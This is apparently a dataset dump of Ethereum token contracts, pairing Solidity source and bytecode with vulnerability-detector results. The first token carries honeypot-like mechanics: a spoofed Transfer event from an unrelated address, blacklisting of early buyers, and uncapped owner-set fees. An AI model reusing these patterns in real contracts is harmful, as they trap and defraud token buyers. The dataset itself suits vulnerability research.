emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function stopAntiSniper(uint256 _buy,uint256 _sell) external onlyOwner{
devFeeBuy = _buy;
devFeeSell = _sell;
AntiSniperCount = 0;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = redistributionTax;
_feeAddr2 = devFeeBuy;
if(AntiSniperCount > 0){
bots[to] = true;
AntiSniperCount -=1;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr2 = devFeeSell;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function isBlackListed(address _address) view public returns(bool){
return bots[_address];
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blackListBot(address _address,bool _bool) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = _bool;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102e5578063c9567bf9146102fa578063dd62ed3e1461030f578063e2986dc514610355578063e47d60601461037557600080fd5b8063715018a6146102505780638da5cb5b1461026557806395d89b411461028d578063a9059cbb146102c557600080fd5b8063313ce567116100dc578063313ce567146101bd5780635082c885146101d95780635932ead1146101fb5780636fc3eaec1461021b57806370a082311461023057600080fd5b806306fdde0314610119578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019d57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e6103ae565b60405161013b9190611637565b60405180910390f35b34801561015057600080fd5b5061016461015f366004611586565b6103ce565b604051901515815260200161013b565b34801561018057600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161013b565b3480156101a957600080fd5b506101646101b8366004611519565b6103e5565b3480156101c957600080fd5b506040516009815260200161013b565b3480156101e557600080fd5b506101f96101f4366004611559565b61044e565b005b34801561020757600080fd5b506101f96102163660046115b1565b610499565b34801561022757600080fd5b506101f96104ea565b34801561023c57600080fd5b5061018f61024b3660046114a9565b610517565b34801561025c57600080fd5b506101f9610539565b34801561027157600080fd5b506000546040516001600160a01b03909116815260200161013b565b34801561029957600080fd5b5060408051808201909152600f81526e42776f7264436f6e666572656e636560881b602082015261012e565b3480156102d157600080fd5b506101646102e0366004611586565b6105ad565b3480156102f157600080fd5b506101f96105ba565b34801561030657600080fd5b506101f96105f0565b34801561031b57600080fd5b5061018f61032a3660046114e1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036157600080fd5b506101f96103703660046115e9565b6109ae565b34801561038157600080fd5b506101646103903660046114a9565b6001600160a01b031660009081526006602052604090205460ff1690565b60606040518060600160405280602781526020016117d760279139905090565b60006103db3384846109e8565b5060015b92915050565b60006103f2848484610b0c565b610444843361043f856040518060600160405280602881526020016117fe602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d9f565b6109e8565b5060019392505050565b600e546001600160a01b0316336001600160a01b03161461046e57600080fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146104cc5760405162461bcd60e51b81526004016104c39061168a565b60405180910390fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461050a57600080fd5b4761051481610dd9565b50565b6001600160a01b0381166000908152600260205260408120546103df90610e13565b6000546001600160a01b031633146105635760405162461bcd60e51b81526004016104c39061168a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103db338484610b0c565b600e546001600160a01b0316336001600160a01b0316146105da57600080fd5b60006105e530610517565b905061051481610e97565b6000546001600160a01b0316331461061a5760405162461bcd60e51b81526004016104c39061168a565b601354600160a01b900460ff16156106745760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c3565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b430826b033b2e3c9fd0803ce80000006109e8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ed57600080fd5b505afa158015610701573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072591906114c5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076d57600080fd5b505afa158015610781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a591906114c5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ed57600080fd5b505af1158015610801573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082591906114c5565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d719473061085581610517565b60008061086a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108cd57600080fd5b505af11580156108e1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610906919061160a565b50506013805463ffff00ff60a01b198116630101000160a01b1790915560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561097257600080fd5b505af1158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa91906115cd565b5050565b6000546001600160a01b031633146109d85760405162461bcd60e51b81526004016104c39061168a565b600b91909155600a556000601155565b6001600160a01b038316610a4a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c3565b6001600160a01b038216610aab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c3565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c3565b60008111610c345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c3565b6001600160a01b03831660009081526006602052604090205460ff1615610c5a57600080fd5b6001600160a01b0383163014610d8f576005600c55600b54600d5560115415610cbc576001600160a01b0382166000908152600660205260408120805460ff191660019081179091556011805491929091610cb6908490611786565b90915550505b6013546001600160a01b038381169116148015610ce757506012546001600160a01b03848116911614155b8015610d0c57506001600160a01b03831660009081526005602052604090205460ff16155b15610d1857600a54600d555b6000610d2330610517565b601354909150600160a81b900460ff16158015610d4e57506013546001600160a01b03858116911614155b8015610d635750601354600160b01b900460ff165b15610d8d57610d7181610e97565b4767016345785d8a0000811115610d8b57610d8b47610dd9565b505b505b610d9a83838361103c565b505050565b60008184841115610dc35760405162461bcd60e51b81526004016104c39190611637565b506000610dd08486611786565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109aa573d6000803e3d6000fd5b6000600854821115610e7a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c3565b6000610e84611047565b9050610e90838261106a565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610eed57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f4157600080fd5b505afa158015610f55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7991906114c5565b81600181518110610f9a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601254610fc091309116846109e8565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ff99085906000908690309042906004016116bf565b600060405180830381600087803b15801561101357600080fd5b505af1158015611027573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b610d9a8383836110ac565b60008060006110546111a3565b9092509050611063828261106a565b9250505090565b6000610e9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111eb565b6000806000806000806110be87611219565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110f09087611276565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461111f90866112b8565b6001600160a01b03891660009081526002602052604090205561114181611317565b61114b8483611361565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161119091815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006111c2828261106a565b8210156111e2575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361120c5760405162461bcd60e51b81526004016104c39190611637565b506000610dd08486611747565b60008060008060008060008060006112368a600c54600d54611385565b9250925092506000611246611047565b905060008060006112598e8787876113da565b919e509c509a509598509396509194505050505091939550919395565b6000610e9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d9f565b6000806112c5838561172f565b905083811015610e905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c3565b6000611321611047565b9050600061132f838361142a565b3060009081526002602052604090205490915061134c90826112b8565b30600090815260026020526040902055505050565b60085461136e9083611276565b60085560095461137e90826112b8565b6009555050565b600080808061139f6064611399898961142a565b9061106a565b905060006113b260646113998a8961142a565b905060006113ca826113c48b86611276565b90611276565b9992985090965090945050505050565b60008080806113e9888661142a565b905060006113f7888761142a565b90506000611405888861142a565b90506000611417826113c48686611276565b939b939a50919850919650505050505050565b600082611439575060006103df565b60006114458385611767565b9050826114528583611747565b14610e905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c3565b6000602082840312156114ba578081fd5b8135610e90816117b3565b6000602082840312156114d6578081fd5b8151610e90816117b3565b600080604083850312156114f3578081fd5b82356114fe816117b3565b9150602083013561150e816117b3565b809150509250929050565b60008060006060848603121561152d578081fd5b8335611538816117b3565b92506020840135611548816117b3565b929592945050506040919091013590565b6000806040838503121561156b578182fd5b8235611576816117b3565b9150602083013561150e816117c8565b60008060408385031215611598578182fd5b82356115a3816117b3565b946020939093013593505050565b6000602082840312156115c2578081fd5b8135610e90816117c8565b6000602082840312156115de578081fd5b8151610e90816117c8565b600080604083850312156115fb578182fd5b50508035926020909101359150565b60008060006060848603121561161e578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561166357858101830151858201604001528201611647565b818111156116745783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561170e5784516001600160a01b0316835293830193918301916001016116e9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117425761174261179d565b500190565b60008261176257634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156117815761178161179d565b500290565b6000828210156117985761179861179d565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461051457600080fd5b801515811461051457600080fdfe42776f726420436f6e666572656e63652020742e6d652f42776f7264436f6e666572656e63652045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064abf9baf346cbc89e6f266a19d0a2dd50b5083ec3eb937f461c5029a418813a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,142 |
0x56b8bd7de3228587ed2dbbca72acf1e554a3e30a
|
/**
*Submitted for verification at Etherscan.io on 2021-03-22
*/
pragma solidity ^0.5.0;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value
);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
/*
* approve/increaseApprove/decreaseApprove can be set when Paused state
*/
/*
* function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
* return super.approve(spender, value);
* }
*
* function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
* return super.increaseAllowance(spender, addedValue);
* }
*
* function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
* return super.decreaseAllowance(spender, subtractedValue);
* }
*/
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract GavinWoodFanToken is ERC20Detailed, ERC20Pausable {
mapping(address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() public ERC20Detailed("GavinWood.FanToken", "GWF", 18) {
_mint(msg.sender, 100000000 * (10**18));
}
function balanceOf(address owner) public view returns (uint256) {
return super.balanceOf(owner);
}
function transfer(address to, uint256 value)
public
notFrozen(msg.sender)
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public notFrozen(from) returns (bool) {
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyOwner returns (bool) {
require(!frozenAccount[holder]);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyOwner returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function mint(uint256 _amount) public onlyOwner returns (bool) {
_mint(msg.sender, _amount);
return true;
}
function burn(uint256 _amount) public onlyOwner returns (bool) {
_burn(msg.sender, _amount);
return true;
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd1461023057806323b872dd1461025b578063313ce567146102ee578063395093511461031f5780633f4ba83a1461039257806342966c68146103a95780635c975abb146103fc57806370a082311461042b578063715018a614610490578063788649ea146104a75780638456cb59146105105780638da5cb5b1461052757806395d89b411461057e578063a0712d681461060e578063a457c2d714610661578063a9059cbb146106d4578063b414d4b614610747578063dd62ed3e146107b0578063f26c159f14610835578063f2fde38b1461089e575b600080fd5b34801561013957600080fd5b506101426108ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610991565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610abe565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac8565b604051808215151515815260200191505060405180910390f35b3480156102fa57600080fd5b50610303610b39565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032b57600080fd5b506103786004803603604081101561034257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b50565b604051808215151515815260200191505060405180910390f35b34801561039e57600080fd5b506103a7610d87565b005b3480156103b557600080fd5b506103e2600480360360208110156103cc57600080fd5b81019080803590602001909291905050506